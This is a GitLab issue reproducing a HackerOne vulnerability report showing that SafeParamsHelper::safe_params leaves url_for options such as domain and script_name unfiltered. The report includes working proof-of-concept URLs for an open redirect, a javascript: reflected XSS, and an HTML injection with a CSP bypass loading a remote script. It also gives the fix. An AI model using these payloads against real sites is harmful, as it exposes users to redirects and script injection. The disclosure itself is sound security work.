Skip to content

SafeParamsHelper::safe_params is not so safe

HackerOne report #946728 by vakzz on 2020-07-29:

Summary

GitLab uses SafeParamsHelper to filter out some keys before passing them to url_for:

  def safe_params  
    if params.respond_to?(:permit!)  
      params.except(:host, :port, :protocol).permit!  
    else  
      params  
    end  
  end

The issue is that there are a lot more dangerous keys:

RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,  
                          :trailing_slash, :anchor, :params, :only_path, :script_name,  
                          :original_script_name, :relative_url_root]

This means that anywhere safe_params is used, the domain could be changed using the domain query. Most of the build_canonical_path methods call url_for(safe_params) which then gets used by RoutableActions:

def ensure_canonical_path(routable, requested_full_path)  
    return unless request.get?

    canonical_path = routable.full_path  
    if canonical_path != requested_full_path  
      if !request.xhr? && request.format.html? && canonical_path.casecmp(requested_full_path) != 0  
        flash[:notice] = "#{routable.class.to_s.titleize} '#{requested_full_path}' was moved to '#{canonical_path}'. Please update any links and bookmarks that may still have the old path."  
      end

      redirect_to build_canonical_path(routable)  
    end  
  end

This creates an open redirect in all of the RoutableActions routes by making canonical_path != requested_full_path (eg using a capital letter) and adding the domain param:

  1. Visit https://gitlab.com/vakzz-h1/Redirect1?domain=aw.rs
  2. You will be redirected to https://aw.rs/

The other key that can be abused is script_name, as this is appended to the start of the url and can be used to fake a protocol such as javascript:

  1. Visit https://gitlab.com/vakzz-h1/redirect1/-/issues?script_name=javascript:alert(1)//
  2. Look at the RSS Feed link
<a class="btn btn-svg has-tooltip" data-container="body" title=""  href="javascript:alert(1)//vakzz-h1/redirect1/-/issues.atom?feed_token=XXXX&amp;state=opened" data-original-title="Subscribe to RSS feed">  
  <svg class="s16 qa-rss-icon" data-testid="rss-icon">  
    <use xlink:href="https://gitlab.com/assets/icons-37f758fe6359f04ae912169432d8ddd9dd45a1316d8fa634996c10bd033e9726.svg#rss"></use>  
  </svg>  
</a>
  1. On gitlab.com this is blocked by the CSP

There are a bunch of other places that use safe_params that could be exploited such as the _viewer.html.haml

- viewer_url = local_assigns.fetch(:viewer_url) { url_for(safe_params.merge(viewer: viewer.type, format: :json)) } if load_async  
.blob-viewer{ data: { type: viewer.type, rich_type: rich_type, url: viewer_url, path: viewer.blob.path }, class: ('hidden' if hidden) }

This allows an attacker to specify the viewer_url for the blob url. Since the json returned by the url has an html attributes it allows arbitrary html to be inserted. The below uses https://gitlab.com/-/snippets/1999965 as the viewer url and 1 click csp bypass (same as https://hackerone.com/reports/662287#activity-6026826) with https://gitlab.com/-/snippets/1999974/raw for the js payload:

  1. Visit https://gitlab.com/vakzz-h1/redirect1/-/blob/master/test.txt?script_name=/-/snippets/1999965/raw%23
  2. See the injected HTML:
<form>any <b>html</b> can go <button>here<a data-remote="true" data-method="get" data-type="script" href="https://gitlab.com/-/snippets/1999974/raw" class="atwho-view select2-drop-mask pika-select">  
  <img width="10000" height="10000">  
</a></button></form>
  1. Clicking anywhere will trigger an alert

I've only skimmed the other locations that use safe_params but it looks like there are a few more that load data via javascript or could be turned into open redirects. I also haven't looked into the impact of the open redirects to see if they could be escalated to leak sensitive information, I'll update the report if I find anything else.

I've put all of these in a single report as the mitigation is the same for all of them, but if you would like me to split them into separate reports I can do that as well. I've also set the severity to high due to the number of places that this is used and relative ease of trigger it, but the individual issues are probably less so might need to be adjusted.

What is the current bug behavior?

SafeParamsHelper.safe_params only filters out the keys :host, :port, :protocol but there are other dangerous ones

What is the expected correct behavior?

SafeParamsHelper.safe_params should filter out all of the reserved options:

RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,  
                          :trailing_slash, :anchor, :params, :only_path, :script_name,  
                          :original_script_name, :relative_url_root]

Output of checks

This bug happens on GitLab.com

Impact

  • open redirect on quire a few routes
  • reflected xss using the javascript protocol
  • reflected xss with csp bypass using the blob viewer
Edited by Dominic Couture